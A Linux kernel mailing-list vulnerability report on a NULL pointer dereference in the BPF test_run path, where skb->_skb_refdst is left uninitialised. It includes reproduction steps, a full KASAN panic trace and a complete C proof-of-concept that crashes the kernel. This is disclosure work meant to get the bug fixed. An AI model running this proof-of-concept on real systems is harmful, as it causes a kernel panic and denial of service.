bpf: test_run: Missing skb destination initialization leads to NULL pointer dereference

1 view
Skip to first unread message

Yinhao Hu

unread,
Nov 4, 2025, 6:13:46 AM (8 days ago) Nov 4
to bpf, Daniel Borkmann, dz...@hust.edu.cn, M2024...@hust.edu.cn, Alexei Starovoitov, marti...@linux.dev, hust-os-ker...@googlegroups.com
Our fuzzer tool discovered that the `skb->_skb_refdst` field is not
initialized in the `bpf_prog_test_run_skb()` function within the Linux
kernel's BPF subsystem. This missing initialization violates expected
behavior, leading to kernel NULL pointer dereference.

Reported-by: Yinhao Hu <ddd...@hust.edu.cn>
Reported-by: Kaiyan Mei <M2024...@hust.edu.cn>
Reviewed-by: Dongliang Mu <dz...@hust.edu.cn>

## Root Cause

The `bpf_prog_test_run_skb()` function does not initialize the
`skb->_skb_refdst` field when setting up the skb, a kernel crash can
occur during the execution of `bpf_lwt_push_ip_encap()` when the
function tries to access `skb_dst(skb)->dev`.

## Reproduction Steps

1. BPF Program: Load a simple BPF program that calls
`bpf_lwt_push_ip_encap()`, with `BPF_PROG_TYPE_LWT_XMIT` prog type.

```
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_7, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -64),
BPF_ST_MEM(BPF_B, BPF_REG_7, 0, 0x45), // iph->version = 4
BPF_MOV64_IMM(BPF_REG_9, 2), // BPF_LWT_ENCAP_IP
BPF_MOV64_REG(BPF_REG_2, BPF_REG_9),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_4, 20),
BPF_EMIT_CALL(BPF_FUNC_lwt_push_encap),
BPF_MOV64_IMM(BPF_REG_0, 0x0),
BPF_EXIT_INSN()
};
```

2. Trigger: Execute the program via `BPF_PROG_TEST_RUN`. The kernel
would crash in `bpf_lwt_push_ip_encap()` due to NULL pointer dereference.

## KASAN Report

```
[ 17.706124] Oops: general protection fault, probably for
non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN NOPTI
[ 17.707889] KASAN: null-ptr-deref in range
[0x0000000000000000-0x0000000000000007]
[ 17.709066] CPU: 1 UID: 0 PID: 338 Comm: test Not tainted
6.18.0-rc4-next-20251103 #7 PREEMPT(none)
[ 17.710466] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX,
1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 17.711966] RIP: 0010:bpf_lwt_push_ip_encap+0x120/0x1cb0
[ 17.712810] Code: 48 89 f9 48 c1 e9 03 80 3c 01 00 0f 85 92 16 00 00
48 b9 00 00 00 00 00 fc ff df 48 8b 43 58 49 89 c7 48 c1 e8 03 49 83 e7
fe <80> 3c 08 00 0f 85 4e 16 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b
[ 17.715628] RSP: 0018:ffff8881018573c8 EFLAGS: 00010246
[ 17.716451] RAX: 0000000000000000 RBX: ffff8881011f68c0 RCX:
dffffc0000000000
[ 17.717549] RDX: ffff88810320c400 RSI: ffff888101857450 RDI:
ffff8881011f6918
[ 17.718646] RBP: 0000000000000014 R08: 0000000000000000 R09:
0000000000000000
[ 17.719610] R10: ffff8881011f68c0 R11: ffff8881011f697c R12:
ffff888101857450
[ 17.720248] R13: 0000000000000000 R14: ffff8881018575f0 R15:
0000000000000000
[ 17.720893] FS: 00000000025a4380(0000) GS:ffff888191302000(0000)
knlGS:0000000000000000
[ 17.721618] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 17.722133] CR2: 00000000004a000c CR3: 0000000109e57000 CR4:
0000000000750ef0
[ 17.722775] PKRU: 55555554
[ 17.723030] Call Trace:
[ 17.723265] <TASK>
[ 17.723472] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.723920] bpf_lwt_xmit_push_encap+0x27/0x30
[ 17.724340] bpf_prog_d73ace982f1253b8+0x39/0x45
[ 17.724764] ? srso_alias_return_thunk+0x3a/0xfbef5
[ 17.725201] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.725644] ? ktime_get+0x61/0x140
[ 17.725979] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.726433] ? preempt_count_add+0x77/0x150
[ 17.726831] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.727269] bpf_test_run+0x47b/0xcd0
[ 17.727609] ? __pfx_bpf_test_run+0x10/0x10
[ 17.728002] ? ___slab_alloc+0xcd0/0x1140
[ 17.728384] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.728827] ? __asan_memset+0x1f/0x40
[ 17.729188] bpf_prog_test_run_skb+0xea9/0x3570
[ 17.729612] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.730055] ? anon_inode_getfd+0x4d/0x70
[ 17.730437] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.730880] ? bpf_prog_load+0x120c/0x2550
[ 17.731280] ? __pfx_bpf_prog_test_run_skb+0x10/0x10
[ 17.731743] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.732181] ? __pfx_bpf_check_uarg_tail_zero+0x10/0x10
[ 17.732657] __sys_bpf+0xac0/0x5110
[ 17.732986] ? __pfx___sys_bpf+0x10/0x10
[ 17.733369] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.734112] ? __sys_bpf+0x1538/0x5110
[ 17.734726] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.735433] ? __pfx_css_rstat_updated+0x10/0x10
[ 17.735873] ? __pfx___sys_bpf+0x10/0x10
[ 17.736243] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.736693] ? mod_memcg_lruvec_state+0x171/0x570
[ 17.737146] __x64_sys_bpf+0x74/0xc0
[ 17.737487] do_syscall_64+0x76/0x3b0
[ 17.737856] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.738297] ? switch_fpu_return+0xf6/0x200
[ 17.738694] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.739135] ? do_syscall_64+0x2b3/0x3b0
[ 17.739506] ? _raw_spin_lock+0x86/0xe0
[ 17.739867] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.740308] ? ___pte_offset_map+0x1f/0x2b0
[ 17.740703] ? __pfx_pmd_val+0x10/0x10
[ 17.741053] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.741500] ? __handle_mm_fault+0x234a/0x3340
[ 17.741919] ? __pfx___handle_mm_fault+0x10/0x10
[ 17.742344] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.742785] ? __pfx_css_rstat_updated+0x10/0x10
[ 17.743217] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.743658] ? count_memcg_events+0x133/0x4b0
[ 17.744058] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.744500] ? handle_mm_fault+0x1ab/0x900
[ 17.744872] ? lock_mm_and_find_vma+0x58/0x720
[ 17.745285] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.745657] ? do_user_addr_fault+0x863/0xf40
[ 17.746000] ? srso_alias_return_thunk+0x5/0xfbef5
[ 17.746368] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 17.746747] RIP: 0033:0x420ddd
[ 17.746974] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa
48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f
05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48
[ 17.748299] RSP: 002b:00007ffe6c27ce98 EFLAGS: 00000246 ORIG_RAX:
0000000000000141
[ 17.748847] RAX: ffffffffffffffda RBX: 0000000000000001 RCX:
0000000000420ddd
[ 17.749375] RDX: 0000000000000050 RSI: 00007ffe6c27cec0 RDI:
000000000000000a
[ 17.749904] RBP: 00007ffe6c27cf60 R08: 000000000000000a R09:
00007ffe6c27cf60
[ 17.750431] R10: 00000000198f28b3 R11: 0000000000000246 R12:
00007ffe6c27d108
[ 17.750950] R13: 00007ffe6c27d118 R14: 00000000004a6f68 R15:
0000000000000001
[ 17.751483] </TASK>
[ 17.751662] Modules linked in:
[ 17.751915] ---[ end trace 0000000000000000 ]---
[ 17.752271] RIP: 0010:bpf_lwt_push_ip_encap+0x120/0x1cb0
[ 17.752670] Code: 48 89 f9 48 c1 e9 03 80 3c 01 00 0f 85 92 16 00 00
48 b9 00 00 00 00 00 fc ff df 48 8b 43 58 49 89 c7 48 c1 e8 03 49 83 e7
fe <80> 3c 08 00 0f 85 4e 16 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b
[ 17.754019] RSP: 0018:ffff8881018573c8 EFLAGS: 00010246
[ 17.754413] RAX: 0000000000000000 RBX: ffff8881011f68c0 RCX:
dffffc0000000000
[ 17.754958] RDX: ffff88810320c400 RSI: ffff888101857450 RDI:
ffff8881011f6918
[ 17.755487] RBP: 0000000000000014 R08: 0000000000000000 R09:
0000000000000000
[ 17.756026] R10: ffff8881011f68c0 R11: ffff8881011f697c R12:
ffff888101857450
[ 17.756546] R13: 0000000000000000 R14: ffff8881018575f0 R15:
0000000000000000
[ 17.757077] FS: 00000000025a4380(0000) GS:ffff888191302000(0000)
knlGS:0000000000000000
[ 17.757663] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 17.758098] CR2: 00000000004a000c CR3: 0000000109e57000 CR4:
0000000000750ef0
[ 17.758632] PKRU: 55555554
[ 17.758845] Kernel panic - not syncing: Fatal exception in interrupt
[ 17.759454] Kernel Offset: disabled
[ 17.759721] ---[ end Kernel panic - not syncing: Fatal exception in
interrupt ]---
```

## Proof of Concept

The following C program should demonstrate the vulnerability on LTS
6.6.93 and linux-next 6.17.0-next-20251010:

```c
#define _GNU_SOURCE

#include <errno.h>
#include <net/if.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <sys/syscall.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, .src_reg = SRC, .off = 0, .imm = 0 })

#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, .src_reg = 0, .off = 0, .imm = IMM })

#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, .src_reg = 0, .off = 0, .imm = IMM })

#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_MEM | BPF_SIZE(SIZE), \
.dst_reg = DST, .src_reg = 0, .off = OFF, .imm = IMM })

#define BPF_EMIT_CALL(FUNC) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_CALL, \
.dst_reg = 0, .src_reg = 0, .off = 0, \
.imm = ((FUNC) - BPF_FUNC_unspec) })

#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 })

static inline uint64_t ptr_to_u64(const void *ptr) {
return (uint64_t)(unsigned long)ptr;
}

static int load_prog(struct bpf_insn *insns, size_t cnt) {
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_LWT_XMIT,
.insns = ptr_to_u64(insns),
.insn_cnt = cnt,
.license = ptr_to_u64("GPL"),
};
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_test_run(int fd, void *data, uint32_t data_sz, uint32_t
repeat, uint32_t duration) {
union bpf_attr attr = {
.test.prog_fd = fd,
.test.data_in = ptr_to_u64(data),
.test.data_size_in = data_sz,
.test.repeat = repeat,
.test.duration = duration,
};
return syscall(__NR_bpf, BPF_PROG_TEST_RUN, &attr, sizeof(attr.test));
}

int main(void) {
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_7, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -64),
BPF_ST_MEM(BPF_B, BPF_REG_7, 0, 0x45), // iph->version = 4
BPF_MOV64_IMM(BPF_REG_9, 2), // BPF_LWT_ENCAP_IP
BPF_MOV64_REG(BPF_REG_2, BPF_REG_9),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_4, 20),
BPF_EMIT_CALL(BPF_FUNC_lwt_push_encap),
BPF_MOV64_IMM(BPF_REG_0, 0x0),
BPF_EXIT_INSN()
};
int fd = load_prog(prog, sizeof(prog) / sizeof(prog[0]));
if (fd < 0) {
printf("Failed to load BPF program: %s\n", strerror(errno));
return 1;
}

unsigned char data[14] = {
0xeb, 0x81, 0x96, 0x51, 0x43, 0x86, 0x2a,
0x4b, 0xd6, 0xce, 0xe2, 0x41, 0x08, 0x00
};
int ret = bpf_test_run(fd, data, 0xe,1,0x198f28b3);
if (ret < 0) {
printf("BPF test run failed: %s\n", strerror(errno));
} else {
printf("BPF test run succeeded\n");
}

close(fd);
return 0;
}
```
config-linux-next
Reply all
Reply to author
Forward
0 new messages